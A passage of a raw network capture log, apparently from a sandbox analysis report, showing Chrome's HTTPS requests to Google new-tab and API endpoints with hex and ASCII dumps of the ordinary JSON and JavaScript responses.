2024-11-12 01:13:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49737	142.250.186.100	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:13 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	142.250.186.100	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:13 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 01:13:14 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 01:13:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 01:13:14 UTC	336	IN	Data Raw: 32 33 62 39 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 23b9)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 37 33 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700273,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 5b 51 64 28 5c 22 64 Data Ascii: erCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003d[Qd(\"d
2024-11-12 01:13:14 UTC	549	IN	Data Raw: 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 Data Ascii: .i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonc
2024-11-12 01:13:14 UTC	446	IN	Data Raw: 31 62 37 0d 0a 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 58 64 28 5f 2e 53 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 6c 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 5a 64 5c 75 30 30 33 64 5f 2e 52 64 3b 5f 2e Data Ascii: 1b7(a,b))};_.S\u003dfunction(a,b){return _.Xd(_.Sc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.Bb(_.le(a,b),c)};_.me\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.oe\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Zd\u003d_.Rd;_.
2024-11-12 01:13:14 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 70 65 28 5f 2e 71 65 28 61 29 29 3a 6e 65 7c 7c 28 6e 65 5c 75 30 30 33 64 6e 65 77 20 70 65 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 74 79 70 65 6f 66 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 3f 61 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 29 3a 62 7d 3b 5f 2e 55 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 5c 75 30 30 33 64 62 7c 7c 64 6f 63 75 6d 65 6e 74 3b 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 3f 61 5c 75 30 30 33 64 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 61 29 5b 30 5d 3a 28 63 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e Data Ascii: 8000pe(_.qe(a)):ne\|\|(ne\u003dnew pe)};_.se\u003dfunction(a,b){return typeof b\u003d\u003d\u003d\"string\"?a.getElementById(b):b};_.U\u003dfunction(a,b){var c\u003db\|\|document;c.getElementsByClassName?a\u003dc.getElementsByClassName(a)[0]:(c\u003ddocumen

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49739	142.250.186.100	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:13 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 01:13:14 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Tue, 12 Nov 2024 01:13:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-12 01:13:14 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-12 01:13:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49748	172.217.16.142	443	7748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-12 01:13:17 UTC	741	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-12 01:13:17 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 11 Nov 2024 23:30:25 GMT Expires: Tue, 11 Nov 2025 23:30:25 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 6172 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-12 01:13:17 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-11-12 01:13:17 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
